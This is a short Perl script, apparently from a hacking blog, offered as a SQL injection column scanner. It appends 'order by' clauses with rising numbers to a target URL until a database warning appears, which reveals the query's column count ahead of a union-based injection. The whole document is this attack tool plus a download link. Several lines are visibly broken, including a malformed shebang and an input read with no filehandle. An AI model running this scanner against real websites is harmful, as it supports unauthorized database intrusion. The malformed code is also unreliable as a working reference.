[Perl] - Scan Column Part 2

#!usr/bin/perl

use LWP::UserAgent;

print "\n\tScan Column => [ by Dreamclown ]\n\n";
print "[+] Target : ";
chomp($target=);
if($target !~/^http:\/\//ig)
{
 $target = "http://$target";
}
print "[+] Scan On $target\n";
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$order = "+order+by+";
for($i=1;$i<50;$i++)
{
  $target2 = "$target$order$i";
  $res = $browser->get($target2);
  $ct = $res->content();
  if($ct =~m/Warning/ig)
  {
   $i = $i - 1;
   print "[+] Column => $i\n";
   exit;
  }
}

+ Download Source Code Here..!!